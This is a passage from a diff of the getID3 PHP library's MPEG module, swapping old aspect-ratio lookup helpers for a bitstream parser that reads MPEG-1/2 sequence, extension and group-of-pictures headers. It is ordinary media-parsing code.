*/ - public static function videoFramerateLookup($rawframerate) { - $lookup = array(0, 23.976, 24, 25, 29.97, 30, 50, 59.94, 60); - return (float) (isset($lookup[$rawframerate]) ? $lookup[$rawframerate] : 0); - } - - /** - * @param int $rawaspectratio - * @param int $mpeg_version - * @param int $width - * @param int $height - * - * @return float - */ - public static function videoAspectRatioLookup($rawaspectratio, $mpeg_version=1, $width=0, $height=0) { - $lookup = array( - 1 => array(0, 1, 0.6735, 0.7031, 0.7615, 0.8055, 0.8437, 0.8935, 0.9157, 0.9815, 1.0255, 1.0695, 1.0950, 1.1575, 1.2015, 0), - 2 => array(0, 1, 1.3333, 1.7778, 2.2100, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0), - ); - $ratio = (float) (isset($lookup[$mpeg_version][$rawaspectratio]) ? $lookup[$mpeg_version][$rawaspectratio] : 0); - if ($mpeg_version == 2 && $ratio != 1) { - // Calculate pixel aspect ratio from MPEG-2 display aspect ratio - $ratio = $ratio * $height / $width; - } - return $ratio; - } - - /** - * @param int $rawaspectratio - * @param int $mpeg_version - * - * @return string - */ - public static function videoAspectRatioTextLookup($rawaspectratio, $mpeg_version=1) { - $lookup = array( - 1 => array('forbidden', 'square pixels', '0.6735', '16:9, 625 line, PAL', '0.7615', '0.8055', '16:9, 525 line, NTSC', '0.8935', '4:3, 625 line, PAL, CCIR601', '0.9815', '1.0255', '1.0695', '4:3, 525 line, NTSC, CCIR601', '1.1575', '1.2015', 'reserved'), - 2 => array('forbidden', 'square pixels', '4:3', '16:9', '2.21:1', 'reserved', 'reserved', 'reserved', 'reserved', 'reserved', 'reserved', 'reserved', 'reserved', 'reserved', 'reserved', 'reserved'), // http://dvd.sourceforge.net/dvdinfo/mpeghdrs.html - ); - return (isset($lookup[$mpeg_version][$rawaspectratio]) ? $lookup[$mpeg_version][$rawaspectratio] : ''); - } - - /** - * @param int $video_format - * - * @return string - */ - public static function videoFormatTextLookup($video_format) { - // ISO/IEC 13818-2, section 6.3.6, Table 6-6. Meaning of video_format - $lookup = array('component', 'PAL', 'NTSC', 'SECAM', 'MAC', 'Unspecified video format', 'reserved(6)', 'reserved(7)'); - return (isset($lookup[$video_format]) ? $lookup[$video_format] : ''); - } - - /** - * @param int $scalable_mode - * - * @return string - */ - public static function scalableModeTextLookup($scalable_mode) { - // ISO/IEC 13818-2, section 6.3.8, Table 6-10. Definition of scalable_mode - $lookup = array('data partitioning', 'spatial scalability', 'SNR scalability', 'temporal scalability'); - return (isset($lookup[$scalable_mode]) ? $lookup[$scalable_mode] : ''); - } - - /** - * @param int $picture_structure - * - * @return string - */ - public static function pictureStructureTextLookup($picture_structure) { - // ISO/IEC 13818-2, section 6.3.11, Table 6-14 Meaning of picture_structure - $lookup = array('reserved', 'Top Field', 'Bottom Field', 'Frame picture'); - return (isset($lookup[$picture_structure]) ? $lookup[$picture_structure] : ''); - } - - /** - * @param int $chroma_format - * - * @return string - */ - public static function chromaFormatTextLookup($chroma_format) { - // ISO/IEC 13818-2, section 6.3.11, Table 6-14 Meaning of picture_structure - $lookup = array('reserved', '4:2:0', '4:2:2', '4:4:4'); - return (isset($lookup[$chroma_format]) ? $lookup[$chroma_format] : ''); - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio-video.mpeg.php // +// module for analyzing MPEG files // +// dependencies: module.audio.mp3.php // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} +getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.mp3.php', __FILE__, true); + +class getid3_mpeg extends getid3_handler +{ + + const START_CODE_BASE = "\x00\x00\x01"; + const VIDEO_PICTURE_START = "\x00\x00\x01\x00"; + const VIDEO_USER_DATA_START = "\x00\x00\x01\xB2"; + const VIDEO_SEQUENCE_HEADER = "\x00\x00\x01\xB3"; + const VIDEO_SEQUENCE_ERROR = "\x00\x00\x01\xB4"; + const VIDEO_EXTENSION_START = "\x00\x00\x01\xB5"; + const VIDEO_SEQUENCE_END = "\x00\x00\x01\xB7"; + const VIDEO_GROUP_START = "\x00\x00\x01\xB8"; + const AUDIO_START = "\x00\x00\x01\xC0"; + + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $info['fileformat'] = 'mpeg'; + $this->fseek($info['avdataoffset']); + + $MPEGstreamData = $this->fread($this->getid3->option_fread_buffer_size); + $MPEGstreamBaseOffset = 0; // how far are we from the beginning of the file data ($info['avdataoffset']) + $MPEGstreamDataOffset = 0; // how far are we from the beginning of the buffer data (~32kB) + + $StartCodeValue = false; + $prevStartCodeValue = false; + + $GOPcounter = -1; + $FramesByGOP = array(); + $ParsedAVchannels = array(); + + do { +//echo $MPEGstreamDataOffset.' vs '.(strlen($MPEGstreamData) - 1024).'
                              '; + if ($MPEGstreamDataOffset > (strlen($MPEGstreamData) - 16384)) { + // buffer running low, get more data +//echo 'reading more data
                              '; + $MPEGstreamData .= $this->fread($this->getid3->option_fread_buffer_size); + if (strlen($MPEGstreamData) > $this->getid3->option_fread_buffer_size) { + $MPEGstreamData = substr($MPEGstreamData, $MPEGstreamDataOffset); + $MPEGstreamBaseOffset += $MPEGstreamDataOffset; + $MPEGstreamDataOffset = 0; + } + } + if (($StartCodeOffset = strpos($MPEGstreamData, self::START_CODE_BASE, $MPEGstreamDataOffset)) === false) { +//echo 'no more start codes found.
                              '; + break; + } else { + $MPEGstreamDataOffset = $StartCodeOffset; + $prevStartCodeValue = $StartCodeValue; + $StartCodeValue = ord(substr($MPEGstreamData, $StartCodeOffset + 3, 1)); +//echo 'Found "'.strtoupper(dechex($StartCodeValue)).'" at offset '.($MPEGstreamBaseOffset + $StartCodeOffset).' ($MPEGstreamDataOffset = '.$MPEGstreamDataOffset.')
                              '; + } + $MPEGstreamDataOffset += 4; + switch ($StartCodeValue) { + + case 0x00: // picture_start_code + if (!empty($info['mpeg']['video']['bitrate_mode']) && ($info['mpeg']['video']['bitrate_mode'] == 'vbr')) { + $bitstream = getid3_lib::BigEndian2Bin(substr($MPEGstreamData, $StartCodeOffset + 4, 4)); + $bitstreamoffset = 0; + + $PictureHeader = array(); + + $PictureHeader['temporal_reference'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 10); // 10-bit unsigned integer associated with each input picture. It is incremented by one, modulo 1024, for each input frame. When a frame is coded as two fields the temporal reference in the picture header of both fields is the same. Following a group start header the temporal reference of the earliest picture (in display order) shall be reset to zero. + $PictureHeader['picture_coding_type'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 3); // 3 bits for picture_coding_type + $PictureHeader['vbv_delay'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 16); // 16 bits for vbv_delay + //... etc + + $FramesByGOP[$GOPcounter][] = $PictureHeader; + } + break; + + case 0xB3: // sequence_header_code + // Note: purposely doing the less-pretty (and probably a bit slower) method of using string of bits rather than bitwise operations. + // Mostly because PHP 32-bit doesn't handle unsigned integers well for bitwise operation. + // Also the MPEG stream is designed as a bitstream and often doesn't align nicely with byte boundaries. + $info['video']['codec'] = 'MPEG-1'; // will be updated if extension_start_code found + + $bitstream = getid3_lib::BigEndian2Bin(substr($MPEGstreamData, $StartCodeOffset + 4, 8)); + $bitstreamoffset = 0; + + $info['mpeg']['video']['raw']['horizontal_size_value'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 12); // 12 bits for horizontal frame size. Note: horizontal_size_extension, if present, will add 2 most-significant bits to this value + $info['mpeg']['video']['raw']['vertical_size_value'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 12); // 12 bits for vertical frame size. Note: vertical_size_extension, if present, will add 2 most-significant bits to this value + $info['mpeg']['video']['raw']['aspect_ratio_information'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 4); // 4 bits for aspect_ratio_information + $info['mpeg']['video']['raw']['frame_rate_code'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 4); // 4 bits for Frame Rate id code + $info['mpeg']['video']['raw']['bitrate'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 18); // 18 bits for bit_rate_value (18 set bits = VBR, otherwise bitrate = this value * 400) + $marker_bit = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // The term "marker_bit" indicates a one bit field in which the value zero is forbidden. These marker bits are introduced at several points in the syntax to avoid start code emulation. + $info['mpeg']['video']['raw']['vbv_buffer_size'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 10); // 10 bits vbv_buffer_size_value + $info['mpeg']['video']['raw']['constrained_param_flag'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: constrained_param_flag + $info['mpeg']['video']['raw']['load_intra_quantiser_matrix'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: load_intra_quantiser_matrix + + if ($info['mpeg']['video']['raw']['load_intra_quantiser_matrix']) { + $bitstream .= getid3_lib::BigEndian2Bin(substr($MPEGstreamData, $StartCodeOffset + 12, 64)); + for ($i = 0; $i < 64; $i++) { + $info['mpeg']['video']['raw']['intra_quantiser_matrix'][$i] = self::readBitsFromStream($bitstream, $bitstreamoffset, 8); + } + } + $info['mpeg']['video']['raw']['load_non_intra_quantiser_matrix'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); + + if ($info['mpeg']['video']['raw']['load_non_intra_quantiser_matrix']) { + $bitstream .= getid3_lib::BigEndian2Bin(substr($MPEGstreamData, $StartCodeOffset + 12 + ($info['mpeg']['video']['raw']['load_intra_quantiser_matrix'] ? 64 : 0), 64)); + for ($i = 0; $i < 64; $i++) { + $info['mpeg']['video']['raw']['non_intra_quantiser_matrix'][$i] = self::readBitsFromStream($bitstream, $bitstreamoffset, 8); + } + } + + $info['mpeg']['video']['pixel_aspect_ratio'] = self::videoAspectRatioLookup($info['mpeg']['video']['raw']['aspect_ratio_information']); // may be overridden later if file turns out to be MPEG-2 + $info['mpeg']['video']['pixel_aspect_ratio_text'] = self::videoAspectRatioTextLookup($info['mpeg']['video']['raw']['aspect_ratio_information']); // may be overridden later if file turns out to be MPEG-2 + $info['mpeg']['video']['frame_rate'] = self::videoFramerateLookup($info['mpeg']['video']['raw']['frame_rate_code']); + if ($info['mpeg']['video']['raw']['bitrate'] == 0x3FFFF) { // 18 set bits = VBR + //$this->warning('This version of getID3() ['.$this->getid3->version().'] cannot determine average bitrate of VBR MPEG video files'); + $info['mpeg']['video']['bitrate_mode'] = 'vbr'; + } else { + $info['mpeg']['video']['bitrate'] = $info['mpeg']['video']['raw']['bitrate'] * 400; + $info['mpeg']['video']['bitrate_mode'] = 'cbr'; + $info['video']['bitrate'] = $info['mpeg']['video']['bitrate']; + } + $info['video']['resolution_x'] = $info['mpeg']['video']['raw']['horizontal_size_value']; + $info['video']['resolution_y'] = $info['mpeg']['video']['raw']['vertical_size_value']; + $info['video']['frame_rate'] = $info['mpeg']['video']['frame_rate']; + $info['video']['bitrate_mode'] = $info['mpeg']['video']['bitrate_mode']; + $info['video']['pixel_aspect_ratio'] = $info['mpeg']['video']['pixel_aspect_ratio']; + $info['video']['lossless'] = false; + $info['video']['bits_per_sample'] = 24; + break; + + case 0xB5: // extension_start_code + $info['video']['codec'] = 'MPEG-2'; + + $bitstream = getid3_lib::BigEndian2Bin(substr($MPEGstreamData, $StartCodeOffset + 4, 8)); // 48 bits for Sequence Extension ID; 61 bits for Sequence Display Extension ID; 59 bits for Sequence Scalable Extension ID + $bitstreamoffset = 0; + + $info['mpeg']['video']['raw']['extension_start_code_identifier'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 4); // 4 bits for extension_start_code_identifier +//echo $info['mpeg']['video']['raw']['extension_start_code_identifier'].'
                              '; + switch ($info['mpeg']['video']['raw']['extension_start_code_identifier']) { + case 1: // 0001 Sequence Extension ID + $info['mpeg']['video']['raw']['profile_and_level_indication'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 8); // 8 bits for profile_and_level_indication + $info['mpeg']['video']['raw']['progressive_sequence'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: progressive_sequence + $info['mpeg']['video']['raw']['chroma_format'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 2); // 2 bits for chroma_format + $info['mpeg']['video']['raw']['horizontal_size_extension'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 2); // 2 bits for horizontal_size_extension + $info['mpeg']['video']['raw']['vertical_size_extension'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 2); // 2 bits for vertical_size_extension + $info['mpeg']['video']['raw']['bit_rate_extension'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 12); // 12 bits for bit_rate_extension + $marker_bit = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // The term "marker_bit" indicates a one bit field in which the value zero is forbidden. These marker bits are introduced at several points in the syntax to avoid start code emulation. + $info['mpeg']['video']['raw']['vbv_buffer_size_extension'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 8); // 8 bits for vbv_buffer_size_extension + $info['mpeg']['video']['raw']['low_delay'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: low_delay + $info['mpeg']['video']['raw']['frame_rate_extension_n'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 2); // 2 bits for frame_rate_extension_n + $info['mpeg']['video']['raw']['frame_rate_extension_d'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 5); // 5 bits for frame_rate_extension_d + + $info['video']['resolution_x'] = ($info['mpeg']['video']['raw']['horizontal_size_extension'] << 12) | $info['mpeg']['video']['raw']['horizontal_size_value']; + $info['video']['resolution_y'] = ($info['mpeg']['video']['raw']['vertical_size_extension'] << 12) | $info['mpeg']['video']['raw']['vertical_size_value']; + $info['video']['interlaced'] = !$info['mpeg']['video']['raw']['progressive_sequence']; + $info['mpeg']['video']['interlaced'] = !$info['mpeg']['video']['raw']['progressive_sequence']; + $info['mpeg']['video']['chroma_format'] = self::chromaFormatTextLookup($info['mpeg']['video']['raw']['chroma_format']); + + if (isset($info['mpeg']['video']['raw']['aspect_ratio_information'])) { + // MPEG-2 defines the aspect ratio flag differently from MPEG-1, but the MPEG-2 extension start code may occur after we've already looked up the aspect ratio assuming it was MPEG-1, so re-lookup assuming MPEG-2 + // This must be done after the extended size is known, so the display aspect ratios can be converted to pixel aspect ratios. + $info['mpeg']['video']['pixel_aspect_ratio'] = self::videoAspectRatioLookup($info['mpeg']['video']['raw']['aspect_ratio_information'], 2, $info['video']['resolution_x'], $info['video']['resolution_y']); + $info['mpeg']['video']['pixel_aspect_ratio_text'] = self::videoAspectRatioTextLookup($info['mpeg']['video']['raw']['aspect_ratio_information'], 2); + $info['video']['pixel_aspect_ratio'] = $info['mpeg']['video']['pixel_aspect_ratio']; + $info['video']['pixel_aspect_ratio_text'] = $info['mpeg']['video']['pixel_aspect_ratio_text']; + } + + break; + + case 2: // 0010 Sequence Display Extension ID + $info['mpeg']['video']['raw']['video_format'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 3); // 3 bits for video_format + $info['mpeg']['video']['raw']['colour_description'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: colour_description + if ($info['mpeg']['video']['raw']['colour_description']) { + $info['mpeg']['video']['raw']['colour_primaries'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 8); // 8 bits for colour_primaries + $info['mpeg']['video']['raw']['transfer_characteristics'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 8); // 8 bits for transfer_characteristics + $info['mpeg']['video']['raw']['matrix_coefficients'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 8); // 8 bits for matrix_coefficients + } + $info['mpeg']['video']['raw']['display_horizontal_size'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 14); // 14 bits for display_horizontal_size + $marker_bit = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // The term "marker_bit" indicates a one bit field in which the value zero is forbidden. These marker bits are introduced at several points in the syntax to avoid start code emulation. + $info['mpeg']['video']['raw']['display_vertical_size'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 14); // 14 bits for display_vertical_size + + $info['mpeg']['video']['video_format'] = self::videoFormatTextLookup($info['mpeg']['video']['raw']['video_format']); + break; + + case 3: // 0011 Quant Matrix Extension ID + break; + + case 5: // 0101 Sequence Scalable Extension ID + $info['mpeg']['video']['raw']['scalable_mode'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 2); // 2 bits for scalable_mode + $info['mpeg']['video']['raw']['layer_id'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 4); // 4 bits for layer_id + if ($info['mpeg']['video']['raw']['scalable_mode'] == 1) { // "spatial scalability" + $info['mpeg']['video']['raw']['lower_layer_prediction_horizontal_size'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 14); // 14 bits for lower_layer_prediction_horizontal_size + $marker_bit = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // The term "marker_bit" indicates a one bit field in which the value zero is forbidden. These marker bits are introduced at several points in the syntax to avoid start code emulation. + $info['mpeg']['video']['raw']['lower_layer_prediction_vertical_size'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 14); // 14 bits for lower_layer_prediction_vertical_size + $info['mpeg']['video']['raw']['horizontal_subsampling_factor_m'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 5); // 5 bits for horizontal_subsampling_factor_m + $info['mpeg']['video']['raw']['horizontal_subsampling_factor_n'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 5); // 5 bits for horizontal_subsampling_factor_n + $info['mpeg']['video']['raw']['vertical_subsampling_factor_m'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 5); // 5 bits for vertical_subsampling_factor_m + $info['mpeg']['video']['raw']['vertical_subsampling_factor_n'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 5); // 5 bits for vertical_subsampling_factor_n + } elseif ($info['mpeg']['video']['raw']['scalable_mode'] == 3) { // "temporal scalability" + $info['mpeg']['video']['raw']['picture_mux_enable'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: picture_mux_enable + if ($info['mpeg']['video']['raw']['picture_mux_enable']) { + $info['mpeg']['video']['raw']['mux_to_progressive_sequence'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: mux_to_progressive_sequence + } + $info['mpeg']['video']['raw']['picture_mux_order'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 3); // 3 bits for picture_mux_order + $info['mpeg']['video']['raw']['picture_mux_factor'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 3); // 3 bits for picture_mux_factor + } + + $info['mpeg']['video']['scalable_mode'] = self::scalableModeTextLookup($info['mpeg']['video']['raw']['scalable_mode']); + break; + + case 7: // 0111 Picture Display Extension ID + break; + + case 8: // 1000 Picture Coding Extension ID + $info['mpeg']['video']['raw']['f_code_00'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 4); // 4 bits for f_code[0][0] (forward horizontal) + $info['mpeg']['video']['raw']['f_code_01'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 4); // 4 bits for f_code[0][1] (forward vertical) + $info['mpeg']['video']['raw']['f_code_10'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 4); // 4 bits for f_code[1][0] (backward horizontal) + $info['mpeg']['video']['raw']['f_code_11'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 4); // 4 bits for f_code[1][1] (backward vertical) + $info['mpeg']['video']['raw']['intra_dc_precision'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 2); // 2 bits for intra_dc_precision + $info['mpeg']['video']['raw']['picture_structure'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 2); // 2 bits for picture_structure + $info['mpeg']['video']['raw']['top_field_first'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: top_field_first + $info['mpeg']['video']['raw']['frame_pred_frame_dct'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: frame_pred_frame_dct + $info['mpeg']['video']['raw']['concealment_motion_vectors'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: concealment_motion_vectors + $info['mpeg']['video']['raw']['q_scale_type'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: q_scale_type + $info['mpeg']['video']['raw']['intra_vlc_format'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: intra_vlc_format + $info['mpeg']['video']['raw']['alternate_scan'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: alternate_scan + $info['mpeg']['video']['raw']['repeat_first_field'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: repeat_first_field + $info['mpeg']['video']['raw']['chroma_420_type'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: chroma_420_type + $info['mpeg']['video']['raw']['progressive_frame'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: progressive_frame + $info['mpeg']['video']['raw']['composite_display_flag'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: composite_display_flag + if ($info['mpeg']['video']['raw']['composite_display_flag']) { + $info['mpeg']['video']['raw']['v_axis'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: v_axis + $info['mpeg']['video']['raw']['field_sequence'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 3); // 3 bits for field_sequence + $info['mpeg']['video']['raw']['sub_carrier'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: sub_carrier + $info['mpeg']['video']['raw']['burst_amplitude'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 7); // 7 bits for burst_amplitude + $info['mpeg']['video']['raw']['sub_carrier_phase'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 8); // 8 bits for sub_carrier_phase + } + + $info['mpeg']['video']['intra_dc_precision_bits'] = $info['mpeg']['video']['raw']['intra_dc_precision'] + 8; + $info['mpeg']['video']['picture_structure'] = self::pictureStructureTextLookup($info['mpeg']['video']['raw']['picture_structure']); + break; + + case 9: // 1001 Picture Spatial Scalable Extension ID + break; + case 10: // 1010 Picture Temporal Scalable Extension ID + break; + + default: + $this->warning('Unexpected $info[mpeg][video][raw][extension_start_code_identifier] value of '.$info['mpeg']['video']['raw']['extension_start_code_identifier']); + break; + } + break; + + + case 0xB8: // group_of_pictures_header + $GOPcounter++; + if (!empty($info['mpeg']['video']['bitrate_mode']) && ($info['mpeg']['video']['bitrate_mode'] == 'vbr')) { + $bitstream = getid3_lib::BigEndian2Bin(substr($MPEGstreamData, $StartCodeOffset + 4, 4)); // 27 bits needed for group_of_pictures_header + $bitstreamoffset = 0; + + $GOPheader = array(); + + $GOPheader['byte_offset'] = $MPEGstreamBaseOffset + $StartCodeOffset; + $GOPheader['drop_frame_flag'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: drop_frame_flag + $GOPheader['time_code_hours'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 5); // 5 bits for time_code_hours + $GOPheader['time_code_minutes'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 6); // 6 bits for time_code_minutes + $marker_bit = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // The term "marker_bit" indicates a one bit field in which the value zero is forbidden. These marker bits are introduced at several points in the syntax to avoid start code emulation. + $GOPheader['time_code_seconds'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 6); // 6 bits for time_code_seconds + $GOPheader['time_code_pictures'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 6); // 6 bits for time_code_pictures + $GOPheader['closed_gop'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: closed_gop + $GOPheader['broken_link'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: broken_link + + $time_code_separator = ($GOPheader['drop_frame_flag'] ? ';' : ':'); // While non-drop time code is displayed with colons separating the digit pairs "HH:MM:SS:FF" drop frame is usually represented with a semi-colon (;) or period (.) as the divider between all the digit pairs "HH;MM;SS;FF", "HH.MM.SS.FF" + $GOPheader['time_code'] = sprintf('%02d'.$time_code_separator.'%02d'.$time_code_separator.'%02d'.$time_code_separator.'%02d', $GOPheader['time_code_hours'], $GOPheader['time_code_minutes'], $GOPheader['time_code_seconds'], $GOPheader['time_code_pictures']); + + $info['mpeg']['group_of_pictures'][] = $GOPheader; + } + break; + + case 0xC0: // audio stream + case 0xC1: // audio stream + case 0xC2: // audio stream + case 0xC3: // audio stream + case 0xC4: // audio stream + case 0xC5: // audio stream + case 0xC6: // audio stream + case 0xC7: // audio stream + case 0xC8: // audio stream + case 0xC9: // audio stream + case 0xCA: // audio stream + case 0xCB: // audio stream + case 0xCC: // audio stream + case 0xCD: // audio stream + case 0xCE: // audio stream + case 0xCF: // audio stream + case 0xD0: // audio stream + case 0xD1: // audio stream + case 0xD2: // audio stream + case 0xD3: // audio stream + case 0xD4: // audio stream + case 0xD5: // audio stream + case 0xD6: // audio stream + case 0xD7: // audio stream + case 0xD8: // audio stream + case 0xD9: // audio stream + case 0xDA: // audio stream + case 0xDB: // audio stream + case 0xDC: // audio stream + case 0xDD: // audio stream + case 0xDE: // audio stream + case 0xDF: // audio stream + //case 0xE0: // video stream + //case 0xE1: // video stream + //case 0xE2: // video stream + //case 0xE3: // video stream + //case 0xE4: // video stream + //case 0xE5: // video stream + //case 0xE6: // video stream + //case 0xE7: // video stream + //case 0xE8: // video stream + //case 0xE9: // video stream + //case 0xEA: // video stream + //case 0xEB: // video stream + //case 0xEC: // video stream + //case 0xED: // video stream + //case 0xEE: // video stream + //case 0xEF: // video stream + if (isset($ParsedAVchannels[$StartCodeValue])) { + break; + } + $ParsedAVchannels[$StartCodeValue] = $StartCodeValue; + // http://en.wikipedia.org/wiki/Packetized_elementary_stream + // http://dvd.sourceforge.net/dvdinfo/pes-hdr.html +/* + $PackedElementaryStream = array(); + if ($StartCodeValue >= 0xE0) { + $PackedElementaryStream['stream_type'] = 'video'; + $PackedElementaryStream['stream_id'] = $StartCodeValue - 0xE0; + } else { + $PackedElementaryStream['stream_type'] = 'audio'; + $PackedElementaryStream['stream_id'] = $StartCodeValue - 0xC0; + } + $PackedElementaryStream['packet_length'] = getid3_lib::BigEndian2Int(substr($MPEGstreamData, $StartCodeOffset + 4, 2)); + + $bitstream = getid3_lib::BigEndian2Bin(substr($MPEGstreamData, $StartCodeOffset + 6, 3)); // more may be needed below + $bitstreamoffset = 0; + + $PackedElementaryStream['marker_bits'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 2); // 2 bits for marker_bits -- should be "10" = 2 +echo 'marker_bits = '.$PackedElementaryStream['marker_bits'].'
                              '; + $PackedElementaryStream['scrambling_control'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 2); // 2 bits for scrambling_control -- 00 implies not scrambled + $PackedElementaryStream['priority'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: priority + $PackedElementaryStream['data_alignment_indicator'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: data_alignment_indicator -- 1 indicates that the PES packet header is immediately followed by the video start code or audio syncword + $PackedElementaryStream['copyright'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: copyright -- 1 implies copyrighted + $PackedElementaryStream['original_or_copy'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: original_or_copy -- 1 implies original + $PackedElementaryStream['pts_flag'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: pts_flag -- Presentation Time Stamp + $PackedElementaryStream['dts_flag'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: dts_flag -- Decode Time Stamp + $PackedElementaryStream['escr_flag'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: escr_flag -- Elementary Stream Clock Reference + $PackedElementaryStream['es_rate_flag'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: es_rate_flag -- Elementary Stream [data] Rate + $PackedElementaryStream['dsm_trick_mode_flag'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: dsm_trick_mode_flag -- DSM trick mode - not used by DVD + $PackedElementaryStream['additional_copy_info_flag'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: additional_copy_info_flag + $PackedElementaryStream['crc_flag'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: crc_flag + $PackedElementaryStream['extension_flag'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: extension_flag + $PackedElementaryStream['pes_remain_header_length'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 8); // 1 bit flag: priority + + $additional_header_bytes = 0; + $additional_header_bytes += ($PackedElementaryStream['pts_flag'] ? 5 : 0); + $additional_header_bytes += ($PackedElementaryStream['dts_flag'] ? 5 : 0); + $additional_header_bytes += ($PackedElementaryStream['escr_flag'] ? 6 : 0); + $additional_header_bytes += ($PackedElementaryStream['es_rate_flag'] ? 3 : 0); + $additional_header_bytes += ($PackedElementaryStream['additional_copy_info_flag'] ? 1 : 0); + $additional_header_bytes += ($PackedElementaryStream['crc_flag'] ? 2 : 0); + $additional_header_bytes += ($PackedElementaryStream['extension_flag'] ? 1 : 0); +$PackedElementaryStream['additional_header_bytes'] = $additional_header_bytes; + $bitstream .= getid3_lib::BigEndian2Bin(substr($MPEGstreamData, $StartCodeOffset + 9, $additional_header_bytes)); + + 